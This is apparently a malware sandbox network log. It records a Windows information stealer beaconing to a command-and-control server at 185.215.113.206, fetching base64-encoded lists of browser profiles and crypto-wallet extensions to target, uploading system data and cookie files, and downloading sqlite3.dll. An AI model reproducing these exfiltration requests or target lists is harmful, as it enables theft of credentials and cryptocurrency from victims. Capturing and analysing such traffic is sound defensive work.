Nov 25, 2024 03:39:21.898407936 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 4e 6b 4d 6d 55 33 4e 32 56 68 4e 7a 49 30 4d 54 42 6d 4f 54 67 7a 4d 44 55 78 4d 47 59 33 4e 6a 55 78 4e 54 41 33 4d 6a 68 69 4d 57 46 6a 59 6a 68 6b 4f 44 67 78 4d 7a 6c 68 4d 54 46 6c 4e 57 5a 6d 4d 6a 6b 32 4e 44 55 34 59 7a 55 79 5a 44 5a 6a 4d 6d 45 77 4f 57 45 78 5a 54 52 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGNkMmU3N2VhNzI0MTBmOTgzMDUxMGY3NjUxNTA3MjhiMWFjYjhkODgxMzlhMTFlNWZmMjk2NDU4YzUyZDZjMmEwOWExZTRkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 03:39:21.900538921 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"browsers------DGIJDAFCFHIEHJJKEHJK--
Nov 25, 2024 03:39:22.352742910 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 03:39:22.352761030 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 03:39:22.354304075 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="message"plugins------AEGHJKJKKJDHIDHJKJDB--
Nov 25, 2024 03:39:22.798227072 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 03:39:22.798257113 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 03:39:22.798274040 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 03:39:22.798384905 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 03:39:22.798402071 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 25, 2024 03:39:22.798418045 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 25, 2024 03:39:22.800522089 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"fplugins------BFCGDAAKFHIDBFIDBKFH--
Nov 25, 2024 03:39:23.244015932 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 03:39:23.264112949 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG Host: 185.215.113.206 Content-Length: 6239 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 03:39:23.264147997 CET	6239	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 03:39:24.232178926 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:39:24.534781933 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 03:39:24.979654074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 03:39:24.979751110 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 03:39:24.983877897 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 25, 2024 03:39:24.984004974 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49724	185.215.113.206	80	1548	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:39:34.138534069 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDBAFIIECBFHIEBKJJK--
Nov 25, 2024 03:39:36.034548044 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
